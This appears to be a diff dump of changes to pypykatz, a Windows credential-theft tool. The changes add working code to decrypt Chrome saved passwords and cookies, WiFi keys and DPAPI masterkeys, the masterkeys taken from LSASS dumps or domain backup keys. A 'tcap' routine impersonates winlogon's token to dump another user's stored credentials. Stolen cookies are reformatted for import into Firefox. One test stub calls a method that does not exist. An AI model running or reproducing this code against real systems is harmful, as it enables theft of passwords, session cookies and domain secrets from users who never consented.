25 | b'9e8f1072bdf5ef042bd988c7da83e43b' | |
26 | ||
27 | """ | |
28 | h = hmac.new(password, digestmod=digestmod) | |
29 | def prf(data): | |
30 | hm = h.copy() | |
31 | hm.update(data) | |
32 | return bytearray(hm.digest()) | |
33 | ||
34 | key = bytearray() | |
35 | i = 1 | |
36 | while len(key) < keylen: | |
37 | T = U = prf(salt + struct.pack('>i', i)) | |
38 | for _ in range(iters - 1): | |
39 | U = prf(U) | |
40 | T = bytearray(x ^ y for x, y in zip(T, U)) | |
41 | key += T | |
42 | i += 1 | |
43 | ||
44 | return key[:keylen]⏎ |
0 | ||
1 | ||
2 | # https://gist.github.com/adoc/8550490 | |
3 | def unpad(bytestring, k=16): | |
4 | """ | |
5 | Remove the PKCS#7 padding from a text bytestring. | |
6 | """ | |
7 | ||
8 | val = bytestring[-1] | |
9 | if val > k: | |
10 | raise ValueError('Input is not padded or padding is corrupt') | |
11 | l = len(bytestring) - val | |
12 | return bytestring[:l] | |
13 | ||
14 | ||
15 | ## @param bytestring The text to encode. | |
16 | ## @param k The padding block size. | |
17 | # @return bytestring The padded bytestring. | |
18 | def pad(bytestring, k=16): | |
19 | """ | |
20 | Pad an input bytestring according to PKCS#7 | |
21 | ||
22 | """ | |
23 | l = len(bytestring) | |
24 | val = k - (l % k) | |
25 | return bytestring + bytearray([val] * val)⏎ |
0 | 0 | from pypykatz.commons.common import UniversalEncoder, hexdump |
1 | 1 | import argparse |
2 | 2 | import platform |
3 | ||
4 | from pypykatz.dpapi.structures.blob import DPAPI_BLOB | |
5 | from pypykatz.dpapi.structures.credentialfile import CredentialFile | |
6 | from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile | |
7 | from pypykatz.dpapi.structures.vault import VAULT_VPOL | |
8 | from winacl.dtyp.wcee.pvkfile import PVKFile | |
3 | 9 | |
4 | 10 | |
5 | 11 | class DPAPICMDHelper: |
44 | 50 | live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords') |
45 | 51 | live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.') |
46 | 52 | |
53 | live_tcap_parser = live_dpapi_subparsers.add_parser('tcap', help = '[ADMIN ONLY] Obtains users stored DPAPI creds via SeTrustedCredmanAccessPrivilege') | |
54 | live_tcap_parser.add_argument('targetpid', type=int, help= 'PID of the process of the target user.') | |
55 | live_tcap_parser.add_argument('--source', default = 'winlogon.exe', help= 'A process that has SeTrustedCredmanAccessPrivilege') | |
56 | live_tcap_parser.add_argument('--tempfile', help= 'PID of the process of the target user') | |
57 | live_tcap_parser.add_argument('-o', '--outfile', help= 'Output file name') | |
47 | 58 | |
48 | 59 | live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser]) |
49 | 60 | |
88 | 99 | dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates') |
89 | 100 | dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') |
90 | 101 | |
102 | dpapi_masterkeypvk_group = dpapi_subparsers.add_parser('masterkeypvk', help='Decrypt masterkey file with PVK file') | |
103 | dpapi_masterkeypvk_group.add_argument('masterkeyfile', help='path to masterkey file') | |
104 | dpapi_masterkeypvk_group.add_argument('pvkfile', help= 'Path to prekey file, which has multiple decryption key candidates') | |
105 | dpapi_masterkeypvk_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
106 | ||
91 | 107 | |
92 | 108 | dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') |
93 | 109 | dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') |
109 | 125 | dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob') |
110 | 126 | dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') |
111 | 127 | dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form') |
128 | ||
129 | dpapi_chrome_group = dpapi_subparsers.add_parser('chrome', help='Decrypt Google Chrome secrets') | |
130 | dpapi_chrome_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
131 | dpapi_chrome_group.add_argument('localstate', help='Local State file') | |
132 | dpapi_chrome_group.add_argument('--logindata', help='Login Data file') | |
133 | dpapi_chrome_group.add_argument('--cookies', help='Cookies file') | |
134 | ||
135 | dpapi_wifi_group = dpapi_subparsers.add_parser('wifi', help='Decrypt Windows WIFI config file') | |
136 | dpapi_wifi_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
137 | dpapi_wifi_group.add_argument('wifixml', help='WIFI config XML file') | |
138 | ||
139 | dpapi_describe_group = dpapi_subparsers.add_parser('describe', help='Print information on given structure') | |
140 | dpapi_describe_group.add_argument('datatype', choices = ['blob', 'masterkey', 'pvk', 'vpol', 'credential'], help= 'Type of structure') | |
141 | dpapi_describe_group.add_argument('data', help='filepath or hex-encoded data') | |
142 | ||
112 | 143 | |
113 | 144 | def execute(self, args): |
114 | 145 | if len(self.keywords) > 0 and args.command in self.keywords: |
143 | 174 | dpapi.get_prekeys_from_password(args.sid, password = pw) |
144 | 175 | |
145 | 176 | elif args.prekey_command == 'nt': |
146 | if args.nt is None or args.sid is None: | |
177 | if args.nthash is None or args.sid is None: | |
147 | 178 | raise Exception('NT hash and SID must be specified for generating prekey in this mode') |
148 | 179 | |
149 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) | |
180 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash) | |
150 | 181 | |
151 | 182 | |
152 | 183 | dpapi.dump_pre_keys(args.out_file) |
158 | 189 | |
159 | 190 | dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) |
160 | 191 | dpapi.dump_masterkeys(args.out_file) |
161 | dpapi.dump_pre_keys(args.out_file + '_prekeys') | |
192 | if args.out_file is not None: | |
193 | dpapi.dump_pre_keys(args.out_file + '_prekeys') | |
194 | else: | |
195 | dpapi.dump_pre_keys() | |
162 | 196 | |
163 | 197 | |
164 | 198 | elif args.dapi_module == 'masterkey': |
165 | if args.key is None and args.prekey is None: | |
199 | if args.prekey is None: | |
166 | 200 | raise Exception('Etieher KEY or path to prekey file must be supplied!') |
167 | 201 | |
168 | if args.prekey: | |
169 | dpapi.load_prekeys(args.prekey) | |
170 | dpapi.decrypt_masterkey_file(args.mkf) | |
171 | ||
172 | if args.key: | |
173 | dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) | |
202 | dpapi.load_prekeys(args.prekey) | |
203 | dpapi.decrypt_masterkey_file(args.masterkeyfile) | |
174 | 204 | |
175 | 205 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: |
176 | 206 | print('Failed to decrypt the masterkeyfile!') |
177 | 207 | return |
178 | 208 | |
179 | 209 | dpapi.dump_masterkeys(args.out_file) |
210 | ||
211 | elif args.dapi_module == 'masterkeypvk': | |
212 | dpapi.decrypt_masterkey_file_with_pvk(args.masterkeyfile, args.pvkfile) | |
213 | ||
214 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: | |
215 | print('Failed to decrypt the masterkeyfile!') | |
216 | return | |
217 | ||
218 | dpapi.dump_masterkeys(args.out_file) | |
219 | ||
180 | 220 | |
181 | 221 | elif args.dapi_module == 'credential': |
182 | 222 | dpapi.load_masterkeys(args.mkf) |
222 | 262 | dpapi.load_masterkeys(args.mkf) |
223 | 263 | |
224 | 264 | try: |
225 | bytes.fromhex(args.securestring) | |
265 | bytes.fromhex(args.blob) | |
226 | 266 | except Exception as e: |
227 | 267 | print('Error! %s' %e) |
228 | dec_sec = dpapi.decrypt_securestring_file(args.securestring) | |
229 | else: | |
230 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
268 | dec_sec = dpapi.decrypt_securestring_file(args.blob) | |
269 | else: | |
270 | dec_sec = dpapi.decrypt_securestring_hex(args.blob) | |
231 | 271 | |
232 | 272 | print('HEX: %s' % dec_sec.hex()) |
233 | 273 | print('STR: %s' % dec_sec.decode('utf-16-le')) |
234 | ||
235 | ||
274 | ||
275 | elif args.dapi_module == 'chrome': | |
276 | dpapi.load_masterkeys(args.mkf) | |
277 | db_paths = {} | |
278 | db_paths['pypykatz'] = {} | |
279 | db_paths['pypykatz']['localstate'] = args.localstate | |
280 | if args.cookies is not None: | |
281 | db_paths['pypykatz']['cookies'] = args.cookies | |
282 | if args.logindata is not None: | |
283 | db_paths['pypykatz']['logindata'] = args.logindata | |
284 | ||
285 | res = dpapi.decrypt_all_chrome(db_paths, throw=False) | |
286 | for file_path, url, user, password in res['logins']: | |
287 | print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) | |
288 | for file_path, host_key, name, path, value in res['cookies']: | |
289 | print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) | |
290 | ||
291 | elif args.dapi_module == 'wifi': | |
292 | dpapi.load_masterkeys(args.mkf) | |
293 | wificonfig_enc = DPAPI.parse_wifi_config_file(args.wifixml) | |
294 | wificonfig = dpapi.decrypt_wifi_config_file_inner(wificonfig_enc) | |
295 | print('%s : %s' % (wificonfig['name'], wificonfig['key'])) | |
296 | ||
297 | elif args.dapi_module == 'describe': | |
298 | def read_file_or_hex(x): | |
299 | data = None | |
300 | try: | |
301 | with open(x, 'rb') as f: | |
302 | data=f.read() | |
303 | except: | |
304 | data = bytes.fromhex(x) | |
305 | return data | |
306 | ||
307 | try: | |
308 | data = read_file_or_hex(args.data) | |
309 | except: | |
310 | raise Exception('Could not load data!') | |
311 | if args.datatype.upper() == 'BLOB': | |
312 | res = DPAPI_BLOB.from_bytes(data) | |
313 | elif args.datatype.upper() == 'MASTERKEY': | |
314 | res = MasterKeyFile.from_bytes(data) | |
315 | elif args.datatype.upper() == 'VPOL': | |
316 | res = VAULT_VPOL.from_bytes(data) | |
317 | elif args.datatype.upper() == 'PVK': | |
318 | res = PVKFile.from_bytes(data) | |
319 | elif args.datatype.upper() == 'CREDENTIAL': | |
320 | res = CredentialFile.from_bytes(data) | |
321 | else: | |
322 | raise Exception('Unknown data format %s' % args.datatype) | |
323 | print(str(res)) | |
236 | 324 | |
237 | 325 | def run_live(self, args): |
238 | 326 | if platform.system().lower() != 'windows': |
239 | 327 | raise Exception('Live commands only work on Windows!') |
328 | ||
329 | if args.livedpapicommand == 'tcap': | |
330 | from pypykatz.dpapi.extras import dpapi_trustedcredman | |
331 | ||
332 | rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile) | |
333 | if err is not None: | |
334 | print(err) | |
335 | return | |
336 | ||
337 | if args.outfile is not None: | |
338 | with open(args.outfile, 'w') as f: | |
339 | for cred in creds: | |
340 | f.write(cred.to_text() + '\r\n') | |
341 | else: | |
342 | for cred in creds: | |
343 | print(cred.to_text()) | |
344 | return | |
240 | 345 | |
241 | 346 | from pypykatz.dpapi.dpapi import DPAPI |
242 | 347 | dpapi = DPAPI(use_winapi=True) |
3 | 3 | # https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html |
4 | 4 | # impacket dpapi.py |
5 | 5 | |
6 | from hashlib import sha1 as SHA1 | |
7 | from hashlib import sha512 as SHA512 | |
8 | from pypykatz.crypto.unified.aes import AES | |
9 | from pypykatz.crypto.unified.des3 import DES3 | |
10 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE | |
6 | from unicrypto.hashlib import sha1 as SHA1 | |
7 | from unicrypto.hashlib import sha512 as SHA512 | |
8 | from unicrypto.symmetric import AES, MODE_CBC | |
9 | from unicrypto.symmetric import TDES as DES3 | |
11 | 10 | |
12 | 11 | |
13 | 12 | # Algorithm classes |
151 | 150 | # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize |
152 | 151 | ALGORITHMS.CALG_SHA: (160//8, SHA1, None, None, 512//8), |
153 | 152 | ALGORITHMS.CALG_HMAC: (160//8, SHA512, None, None, 512//8), |
154 | ALGORITHMS.CALG_3DES: (192//8, DES3, SYMMETRIC_MODE.CBC, 64//8), | |
153 | ALGORITHMS.CALG_3DES: (192//8, DES3, MODE_CBC, 64//8), | |
155 | 154 | ALGORITHMS.CALG_SHA_512: (128//8, SHA512, None, None, 1024//8), |
156 | ALGORITHMS.CALG_AES_256: (256//8, AES, SYMMETRIC_MODE.CBC,128//8), #CBC is already in the object... | |
155 | ALGORITHMS.CALG_AES_256: (256//8, AES, MODE_CBC,128//8), #CBC is already in the object... | |
157 | 156 | } |
158 | 157 | |
159 | 158 |
1 | 1 | # |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | # | |
5 | # Kudos: | |
6 | # Processus Thief (@ProcessusT) | |
7 | # | |
4 | 8 | # |
5 | 9 | |
6 | 10 | import os |
7 | 11 | import ntpath |
8 | 12 | import json |
9 | 13 | import hmac |
10 | import hashlib | |
11 | 14 | import glob |
12 | 15 | import sqlite3 |
13 | 16 | import base64 |
14 | 17 | import platform |
15 | 18 | from hashlib import sha1, pbkdf2_hmac |
19 | ||
16 | 20 | import xml.etree.ElementTree as ET |
17 | 21 | |
18 | 22 | from pypykatz import logger |
20 | 24 | from pypykatz.dpapi.structures.credentialfile import CredentialFile, CREDENTIAL_BLOB |
21 | 25 | from pypykatz.dpapi.structures.blob import DPAPI_BLOB |
22 | 26 | from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS |
23 | ||
24 | from pypykatz.crypto.unified.aes import AES | |
25 | from pypykatz.crypto.unified.aesgcm import AES_GCM | |
26 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE | |
27 | from unicrypto.hashlib import md4 as MD4 | |
28 | from unicrypto.symmetric import AES, MODE_GCM, MODE_CBC | |
29 | from winacl.dtyp.wcee.pvkfile import PVKFile | |
27 | 30 | from pypykatz.commons.common import UniversalEncoder |
31 | ||
32 | ||
33 | from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 | |
34 | ||
28 | 35 | |
29 | 36 | if platform.system().lower() == 'windows': |
30 | 37 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator |
111 | 118 | f.write(x.hex() + '\r\n') |
112 | 119 | |
113 | 120 | def load_prekeys(self, filename): |
114 | with open(filename, 'r') as f: | |
115 | for line in f: | |
116 | line = line.strip() | |
117 | self.prekeys[bytes.fromhex(line)] = 1 | |
121 | try: | |
122 | open(filename, 'r') | |
123 | except Exception as e: | |
124 | key = bytes.fromhex(filename) | |
125 | self.prekeys[key] = 1 | |
126 | return | |
127 | else: | |
128 | with open(filename, 'r') as f: | |
129 | for line in f: | |
130 | line = line.strip() | |
131 | self.prekeys[bytes.fromhex(line)] = 1 | |
118 | 132 | |
119 | 133 | def dump_masterkeys(self, filename = None): |
120 | 134 | if filename is None: |
157 | 171 | key1 = None |
158 | 172 | |
159 | 173 | if password or password == '': |
160 | md4 = hashlib.new('md4') | |
161 | md4.update(password.encode('utf-16le')) | |
162 | nt_hash = md4.digest() | |
174 | ctx = MD4(password.encode('utf-16le')) | |
175 | nt_hash = ctx.digest() | |
176 | ||
163 | 177 | # Will generate two keys, one with SHA1 and another with MD4 |
164 | 178 | key1 = hmac.new(sha1(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), sha1).digest() |
165 | 179 | |
327 | 341 | self.prekeys[bytes.fromhex(shahex)] = 1 |
328 | 342 | |
329 | 343 | return self.masterkeys |
344 | ||
345 | def decrypt_masterkey_file_with_pvk(self, mkffile, pvkfile): | |
346 | """ | |
347 | Decrypting the masterkeyfile using the domain backup key in .pvk format | |
348 | """ | |
349 | with open(mkffile, 'rb') as fp: | |
350 | data = fp.read() | |
351 | mkf = MasterKeyFile.from_bytes(data) | |
352 | dk = mkf.domainkey.secret | |
353 | privkey = PVKFile.from_file(pvkfile).get_key() | |
354 | decdk = privkey.decrypt(dk[::-1], PKCS1v15()) | |
355 | secret = decdk[8:72] # TODO: proper file format would be good here!!! | |
356 | self.masterkeys[mkf.guid] = secret | |
357 | return self.masterkeys | |
330 | 358 | |
331 | 359 | def decrypt_masterkey_file(self, file_path, key = None): |
332 | 360 | """ |
346 | 374 | returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key |
347 | 375 | """ |
348 | 376 | mkf = MasterKeyFile.from_bytes(data) |
349 | ||
350 | 377 | mks = {} |
351 | 378 | bks = {} |
352 | 379 | if mkf.masterkey is not None: |
477 | 504 | def decrypt_attr(attr, key): |
478 | 505 | if attr.data is not None: |
479 | 506 | if attr.iv is not None: |
480 | cipher = AES(key, SYMMETRIC_MODE.CBC, iv=attr.iv) | |
507 | cipher = AES(key, MODE_CBC, attr.iv) | |
481 | 508 | else: |
482 | cipher = AES(key, SYMMETRIC_MODE.CBC, iv=b'\x00'*16) | |
509 | cipher = AES(key, MODE_CBC, b'\x00'*16) | |
483 | 510 | |
484 | 511 | cleartext = cipher.decrypt(attr.data) |
485 | 512 | return cleartext |
631 | 658 | return db_paths |
632 | 659 | |
633 | 660 | @staticmethod |
634 | def get_chrome_encrypted_secret(db_path): | |
661 | def get_chrome_encrypted_secret(db_path, dbtype): | |
635 | 662 | results = {} |
636 | 663 | results['logins'] = [] |
637 | 664 | results['cookies'] = [] |
644 | 671 | logger.debug('Failed to open chrome DB file %s' % db_path) |
645 | 672 | return results |
646 | 673 | |
647 | if ntpath.basename(db_path).lower() == 'cookies': | |
674 | if dbtype.lower() == 'cookies': | |
648 | 675 | try: |
649 | 676 | #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py |
650 | 677 | cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies') |
655 | 682 | for host_key, name, path, encrypted_value in cursor.fetchall(): |
656 | 683 | results['cookies'].append((host_key, name, path, encrypted_value)) |
657 | 684 | |
658 | elif ntpath.basename(db_path).lower() == 'login data': | |
685 | elif dbtype.lower() == 'logindata': | |
659 | 686 | |
660 | 687 | try: |
661 | 688 | #totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py |
670 | 697 | return results |
671 | 698 | |
672 | 699 | def decrypt_all_chrome_live(self): |
700 | dbpaths = DPAPI.find_chrome_database_file_live() | |
701 | return self.decrypt_all_chrome(dbpaths) | |
702 | ||
703 | ||
704 | def decrypt_all_chrome(self, dbpaths, throw = False): | |
705 | from unicrypto import use_library, get_cipher_by_name | |
706 | AES = get_cipher_by_name('AES', 'cryptography') | |
707 | ||
673 | 708 | results = {} |
674 | 709 | results['logins'] = [] |
675 | 710 | results['cookies'] = [] |
711 | results['fmtcookies'] = [] | |
676 | 712 | localstate_dec = None |
677 | 713 | |
678 | dbpaths = DPAPI.find_chrome_database_file_live() | |
679 | 714 | for username in dbpaths: |
680 | 715 | if 'localstate' in dbpaths[username]: |
681 | 716 | with open(dbpaths[username]['localstate'], 'r') as f: |
682 | 717 | encrypted_key = json.load(f)['os_crypt']['encrypted_key'] |
683 | 718 | encrypted_key = base64.b64decode(encrypted_key) |
684 | 719 | |
685 | localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) | |
686 | ||
720 | try: | |
721 | localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) | |
722 | except: | |
723 | if throw is True: | |
724 | raise Exception('LocalState decryption failed!') | |
725 | # this localstate was encrypted for another user... | |
726 | continue | |
687 | 727 | if 'cookies' in dbpaths[username]: |
688 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies']) | |
728 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'], 'cookies') | |
689 | 729 | for host_key, name, path, encrypted_value in secrets['cookies']: |
690 | 730 | if encrypted_value.startswith(b'v10'): |
691 | 731 | nonce = encrypted_value[3:3+12] |
692 | 732 | ciphertext = encrypted_value[3+12:-16] |
693 | 733 | tag = encrypted_value[-16:] |
694 | cipher = AES_GCM(localstate_dec) | |
695 | dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'') | |
734 | cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16) | |
735 | dec_val = cipher.decrypt(ciphertext, b'', tag) | |
696 | 736 | results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) |
737 | results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val)) | |
697 | 738 | else: |
698 | 739 | dec_val = self.decrypt_blob_bytes(encrypted_value) |
699 | 740 | results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val )) |
741 | results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val)) | |
700 | 742 | |
701 | 743 | if 'logindata' in dbpaths[username]: |
702 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata']) | |
744 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'], 'logindata') | |
703 | 745 | for url, user, enc_password in secrets['logins']: |
704 | password = self.decrypt_blob_bytes(enc_password) | |
705 | results['logins'].append((dbpaths[username]['logindata'], url, user, password )) | |
706 | ||
746 | if enc_password.startswith(b'v10'): | |
747 | nonce = enc_password[3:3+12] | |
748 | ciphertext = enc_password[3+12:-16] | |
749 | tag = enc_password[-16:] | |
750 | cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16) | |
751 | password = cipher.decrypt(ciphertext, b'', tag) | |
752 | results['logins'].append((dbpaths[username]['logindata'], url, user, password)) | |
753 | ||
754 | else: | |
755 | password = self.decrypt_blob_bytes(enc_password) | |
756 | results['logins'].append((dbpaths[username]['logindata'], url, user, password)) | |
707 | 757 | |
708 | 758 | return results |
709 | 759 | |
767 | 817 | raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) |
768 | 818 | |
769 | 819 | for wificonfig in DPAPI.get_all_wifi_settings_live(): |
770 | if 'enckey' in wificonfig and wificonfig['enckey'] != '': | |
771 | wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey']) | |
772 | yield wificonfig | |
820 | yield self.decrypt_wifi_config_file_inner(wificonfig) | |
773 | 821 | |
774 | 822 | finally: |
775 | 823 | pm.dropsystem() |
824 | ||
825 | def decrypt_wifi_config_file_inner(self, wificonfig): | |
826 | if 'enckey' in wificonfig and wificonfig['enckey'] != '': | |
827 | wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey']) | |
828 | return wificonfig | |
829 | ||
830 | def decrypt_wifi_config_file(self, configfile): | |
831 | wificonfig = DPAPI.parse_wifi_config_file(configfile) | |
832 | return self.decrypt_wifi_config_file_inner(wificonfig) | |
833 | ||
834 | @staticmethod | |
835 | def cookieformatter(host, name, path, content): | |
836 | """This is the data format the 'Cookie Quick Manager' uses to load cookies in FireFox""" | |
837 | return { | |
838 | "Host raw": host, #"https://.pkgs.org/", | |
839 | "Name raw": name, #"distro_id", | |
840 | "Path raw": path, #"/", | |
841 | "Content raw": content, # "196", | |
842 | "Expires": "26-05-2022 21:06:29", # "12-05-2022 15:59:48", | |
843 | "Expires raw": "1653591989", # "1652363988", | |
844 | "Send for": "Any type of connection", #"Encrypted connections only", | |
845 | "Send for raw": False, #"true", | |
846 | "HTTP only raw": False, #"false", | |
847 | "SameSite raw": "lax", #"lax", | |
848 | "This domain only": False, #"Valid for subdomains", | |
849 | "This domain only raw": False, #"false", | |
850 | "Store raw": "firefox-default", #"firefox-default", | |
851 | "First Party Domain": "", #"" | |
852 | } | |
853 | ||
854 | ||
776 | 855 | |
777 | 856 | # arpparse helper |
778 | 857 | def prepare_dpapi_live(methods = [], mkf = None, pkf = None): |
790 | 869 | if 'lsass' in methods and 'all' not in methods: |
791 | 870 | dpapi.get_masterkeys_from_lsass_live() |
792 | 871 | |
793 | return dpapi⏎ | |
872 | return dpapi | |
873 | ||
874 | def main(): | |
875 | mkffile = '/mnt/hgfs/!SHARED/feature/masterkeyfile - 170d0d57-e0ae-4877-bab6-6f5af49d3e8e' | |
876 | pvkfile = '/mnt/hgfs/!SHARED/feature/pvkfile - ntds_capi_0_fdf0c850-73d3-48cf-86b6-6beb609206c3.keyx.rsa.pvk' | |
877 | dpapi = DPAPI() | |
878 | dpapi.decrypt_mkf_with_pvk(mkffile, pvkfile) | |
879 | ||
880 | ||
881 | if __name__ == '__main__': | |
882 | main()⏎ |
0 | # Thank you! | |
1 | # https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html | |
2 | ||
3 | import tempfile | |
4 | import os | |
5 | ||
6 | from pypykatz import logger | |
7 | from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials | |
8 | from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION | |
9 | from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege | |
10 | from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken | |
11 | from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData | |
12 | from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile | |
13 | ||
14 | ||
15 | def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None): | |
16 | dec_data = None | |
17 | try: | |
18 | if temp_file_path is None: | |
19 | tf = tempfile.NamedTemporaryFile(delete=False) | |
20 | temp_file_path = tf.name | |
21 | logger.debug('Temp file path: %s' % temp_file_path) | |
22 | tf.close() | |
23 | ||
24 | enable_debug_privilege() | |
25 | ||
26 | ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege | |
27 | pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) | |
28 | winlogon_token = pwinlogon.duplicate_token() | |
29 | SetThreadToken(winlogon_token) | |
30 | RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31 | |
31 | ||
32 | ||
33 | ### opening target process, getting handle on its token | |
34 | puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) | |
35 | puserprocess_token = puserprocess.get_process_token() | |
36 | ||
37 | ### magic happens here | |
38 | CredBackupCredentials(puserprocess_token, temp_file_path) | |
39 | ||
40 | ### opening encrypted cerentials file and decrypting it | |
41 | with open(temp_file_path, 'rb') as f: | |
42 | dec_data = CryptUnprotectData(f.read()) | |
43 | ||
44 | ||
45 | ### parsing decrypted credfile | |
46 | results = [] | |
47 | xf = CredentialFile.from_bytes(dec_data) | |
48 | blobsdata = xf.data | |
49 | if xf.unk == 2: | |
50 | res = CREDENTIAL_BLOB.from_bytes(blobsdata) | |
51 | results.append(res) | |
52 | blobsdata = blobsdata[res.size:] | |
53 | while len(blobsdata) > 0: | |
54 | res = CREDENTIAL_BLOB.from_bytes(blobsdata) | |
55 | results.append(res) | |
56 | blobsdata = blobsdata[res.size:] | |
57 | ||
58 | return dec_data, results, None | |
59 | except Exception as e: | |
60 | logger.debug('dpapi_trustedcredman err! %s' % e) | |
61 | return dec_data, None, e | |
62 | finally: | |
63 | try: | |
64 | os.unlink(temp_file_path) | |
65 | logger.debug('Temp file removed') | |
66 | except Exception as e: | |
67 | logger.debug('Failed to remove temp file! %s' % str(e)) | |
68 | pass⏎ |
12 | 12 | |
13 | 13 | from pypykatz.dpapi.constants import * |
14 | 14 | from pypykatz.commons.win_datatypes import GUID |
15 | from pypykatz.crypto.unified.pkcs7 import unpad | |
15 | from unicrypto.backends.pure.padding.pkcs7 import unpad | |
16 | 16 | |
17 | 17 | |
18 | 18 | class DPAPI_BLOB: |
104 | 104 | derived_key = fixparity(derived_key) |
105 | 105 | |
106 | 106 | cipher = ALGORITHMS_DATA[self.crypto_algorithm][1](derived_key[:ALGORITHMS_DATA[self.crypto_algorithm][0]], |
107 | mode=ALGORITHMS_DATA[self.crypto_algorithm][2], iv=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3]) | |
108 | cleartext = unpad(cipher.decrypt(self.data), cipher.block_size) | |
107 | mode=ALGORITHMS_DATA[self.crypto_algorithm][2], IV=b'\x00'*ALGORITHMS_DATA[self.crypto_algorithm][3]) | |
108 | cleartext = unpad(cipher.decrypt(self.data), ALGORITHMS_DATA[self.crypto_algorithm][3]) | |
109 | 109 | |
110 | 110 | # Calculate the different HMACKeys |
111 | hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][1]().block_size | |
111 | hash_block_size = ALGORITHMS_DATA[self.hash_algorithm][4] | |
112 | 112 | key_hash_2 = key_hash + b"\x00"*hash_block_size |
113 | 113 | ipad = bytearray([i ^ 0x36 for i in bytearray(key_hash_2)][:hash_block_size]) |
114 | 114 | opad = bytearray([i ^ 0x5c for i in bytearray(key_hash_2)][:hash_block_size]) |
89 | 89 | else: |
90 | 90 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) |
91 | 91 | return t |
92 | ||
93 | ||
92 | ||
93 | class CREDBLOBTYPE(enum.Enum): | |
94 | UNKNOWN = 0 | |
95 | GENERIC = 1 | |
96 | DOMAIN_PASSWORD = 2 | |
97 | DOMAIN_CERTIFICATE = 3 | |
98 | DOMAIN_VISIBLE_PASSWORD = 4 | |
99 | GENERIC_CERTIFICATE = 5 | |
100 | DOMAIN_EXTENDED = 6 | |
101 | ||
94 | 102 | class CREDENTIAL_BLOB: |
95 | 103 | """ |
96 | 104 | """ |
119 | 127 | self.unknown4 = None |
120 | 128 | |
121 | 129 | self.attributes = [] |
130 | self.type_pretty = None | |
122 | 131 | |
123 | 132 | |
